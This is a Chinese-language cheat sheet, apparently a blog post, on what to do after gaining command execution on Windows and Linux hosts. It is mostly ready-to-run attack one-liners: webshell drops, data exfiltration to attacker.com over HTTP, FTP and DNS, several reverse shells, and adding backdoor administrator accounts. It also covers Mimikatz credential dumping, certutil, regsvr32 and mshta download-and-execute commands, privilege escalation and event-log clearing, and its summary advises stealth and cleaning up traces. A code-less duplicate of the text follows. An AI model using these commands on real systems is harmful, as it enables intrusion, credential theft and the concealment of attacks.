命令执行总结
字数 1507 2025-08-27 12:33:23

命令执行渗透测试技术总结

0x00 前言

本文总结了命令执行后的渗透测试技术,包括系统信息收集、回显利用、出网检测、反弹shell、密码抓取、文件下载执行等多种技术手段。适用于Windows和Linux系统环境。

0x01 基础判断流程

在命令执行后,首先需要判断以下三个关键因素:

  1. 系统类型:Windows还是Linux
  2. 是否回显:命令执行结果是否可见
  3. 能否出网:目标系统是否可以连接外部网络

0x02 可回显情况下的利用

Windows系统

  1. 写入Webshell
echo ^<^%eval request^(chr^(35^))%^> > d:\test.asp
copy c:\existing.jpg c:\existing.jpg.aspx
  1. 批量查找和修改文件
for /F %s in ('dir /s/a-d/b d:\*.asp') do echo 123 > %s
  1. 文件查找
dir /s/a-d/b d:\*123456.asp

Linux系统

  1. Base64写入Webshell
echo PD9waHAgcGhwaW5mbygpOz8+ | base64 -d > test.php
  1. 文件查找
locate login.php
find / -name "*.php" -type f

0x03 不可回显但能出网(OOB技术)

Windows OOB技术

  1. 通过HTTP请求外带数据
for /F %s in ('whoami') do start http://10.10.10.10/?user=%s
  1. FTP传输文件
curl -T sensitive.txt ftp://attacker.com --user user:pass
  1. HTTP头外带数据
wget --header="EVIL:$(whoami)" http://attacker.com
  1. DNS外带数据
ping %USERNAME%.attacker.com

Linux OOB技术

  1. 通过HTTP请求外带数据
curl http://attacker.com/?user=`id`
wget http://attacker.com/?user=`ifconfig`
  1. DNS外带数据
ping -c 3 `whoami`.attacker.com
  1. 高级DNS外带技术
cmd /v /c "ipconfig > output && certutil -encodehex -f output output.hex 4 && powershell $text=Get-Content output.hex;$subdomain=$text.replace(' ','');$j=11111;foreach($i in $subdomain){$final=$j.tostring()+'.'+$i+'.attacker.com';$j += 1; nslookup $final }"

0x04 可出网情况下的利用

Windows反弹技术

  1. PowerShell反弹
IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress attacker_ip -port 4444
  1. MSF生成payload
msfvenom -p windows/meterpreter/reverse_tcp LHOST=attacker_ip LPORT=4444 -f exe -o payload.exe
  1. NC反弹
nc -nv attacker_ip 4444 -e cmd.exe
  1. 添加用户
net user hacker Password123! /add
net localgroup administrators hacker /add
  1. 开启远程桌面
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f

Linux反弹技术

  1. Bash反弹
bash -i >& /dev/tcp/attacker_ip/4444 0>&1
  1. Perl反弹
perl -e 'use Socket;$i="attacker_ip";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
  1. Python反弹
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attacker_ip",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
  1. NC反弹
nc -e /bin/sh attacker_ip 4444
# 或当-e不可用时
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc attacker_ip 4444 >/tmp/f
  1. 非交互式添加用户
useradd -m testuser
echo "testuser:password" | chpasswd

0x05 密码抓取技术

Windows密码抓取

  1. Mimikatz
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords"
  1. PowerShell调用Mimikatz
IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/Invoke-Mimikatz.ps1');Invoke-Mimikatz
  1. LaZagne(多功能密码抓取工具):
lazagne.exe all

Linux密码抓取

  1. Mimipenguin
./mimipenguin

0x06 文件下载执行技术

Windows下载执行

  1. PowerShell下载执行
(new-object System.Net.WebClient).DownloadFile('http://attacker.com/payload.exe','C:\payload.exe');Start-Process 'C:\payload.exe'
  1. Certutil下载
certutil -urlcache -split -f http://attacker.com/payload.exe C:\payload.exe && C:\payload.exe
  1. Bitsadmin下载
bitsadmin /transfer job http://attacker.com/payload.exe C:\payload.exe
  1. Regsvr32远程执行
regsvr32 /s /n /u /i:http://attacker.com/payload.sct scrobj.dll
  1. Rundll32执行
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://attacker.com/payload.sct");window.close();
  1. MSHTA执行
mshta http://attacker.com/payload.hta

Linux下载执行

wget http://attacker.com/payload -O /tmp/payload && chmod +x /tmp/payload && /tmp/payload
# 或
curl http://attacker.com/payload -o /tmp/payload && chmod +x /tmp/payload && /tmp/payload

0x07 提权技术

Windows提权

  1. 利用已知漏洞提权
IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/Invoke-ReflectivePEInjection.ps1');Invoke-ReflectivePEInjection -PEUrl http://attacker.com/ms15-051.exe -ExeArgs "cmd" -ForceASLR

Linux提权

  1. 提权检查工具
./LinEnum.sh
  1. 内核漏洞利用
./exploit

0x08 清理痕迹

Windows日志清理

mimikatz.exe "privilege::debug" "event::drop" "event::clear"

0x09 参考资源

  1. Nishang PowerShell框架:https://github.com/samratashok/nishang
  2. Empire框架:https://github.com/EmpireProject/Empire
  3. PowerSploit:https://github.com/PowerShellMafia/PowerSploit
  4. Windows下载执行技术:https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/
  5. Linux提权工具:https://github.com/rebootuser/LinEnum
  6. Linux漏洞利用:https://github.com/SecWiki/linux-kernel-exploits
  7. GTFOBins:https://gtfobins.github.io/
  8. OOB技术手册:https://www.exploit-db.com/docs/english/45370-out-of-band-exploitation-(oob)-cheatsheet.pdf

0x0A 总结

本文总结了命令执行后的各种渗透测试技术,包括信息收集、权限维持、横向移动等多个阶段的技术手段。实际使用时需要根据目标环境灵活选择合适的技术组合,并注意操作的隐蔽性和痕迹清理。

命令执行渗透测试技术总结 0x00 前言 本文总结了命令执行后的渗透测试技术,包括系统信息收集、回显利用、出网检测、反弹shell、密码抓取、文件下载执行等多种技术手段。适用于Windows和Linux系统环境。 0x01 基础判断流程 在命令执行后,首先需要判断以下三个关键因素: 系统类型 :Windows还是Linux 是否回显 :命令执行结果是否可见 能否出网 :目标系统是否可以连接外部网络 0x02 可回显情况下的利用 Windows系统 写入Webshell : 批量查找和修改文件 : 文件查找 : Linux系统 Base64写入Webshell : 文件查找 : 0x03 不可回显但能出网(OOB技术) Windows OOB技术 通过HTTP请求外带数据 : FTP传输文件 : HTTP头外带数据 : DNS外带数据 : Linux OOB技术 通过HTTP请求外带数据 : DNS外带数据 : 高级DNS外带技术 : 0x04 可出网情况下的利用 Windows反弹技术 PowerShell反弹 : MSF生成payload : NC反弹 : 添加用户 : 开启远程桌面 : Linux反弹技术 Bash反弹 : Perl反弹 : Python反弹 : NC反弹 : 非交互式添加用户 : 0x05 密码抓取技术 Windows密码抓取 Mimikatz : PowerShell调用Mimikatz : LaZagne (多功能密码抓取工具): Linux密码抓取 Mimipenguin : 0x06 文件下载执行技术 Windows下载执行 PowerShell下载执行 : Certutil下载 : Bitsadmin下载 : Regsvr32远程执行 : Rundll32执行 : MSHTA执行 : Linux下载执行 0x07 提权技术 Windows提权 利用已知漏洞提权 : Linux提权 提权检查工具 : 内核漏洞利用 : 0x08 清理痕迹 Windows日志清理 0x09 参考资源 Nishang PowerShell框架:https://github.com/samratashok/nishang Empire框架:https://github.com/EmpireProject/Empire PowerSploit:https://github.com/PowerShellMafia/PowerSploit Windows下载执行技术:https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/ Linux提权工具:https://github.com/rebootuser/LinEnum Linux漏洞利用:https://github.com/SecWiki/linux-kernel-exploits GTFOBins:https://gtfobins.github.io/ OOB技术手册:https://www.exploit-db.com/docs/english/45370-out-of-band-exploitation-(oob)-cheatsheet.pdf 0x0A 总结 本文总结了命令执行后的各种渗透测试技术,包括信息收集、权限维持、横向移动等多个阶段的技术手段。实际使用时需要根据目标环境灵活选择合适的技术组合,并注意操作的隐蔽性和痕迹清理。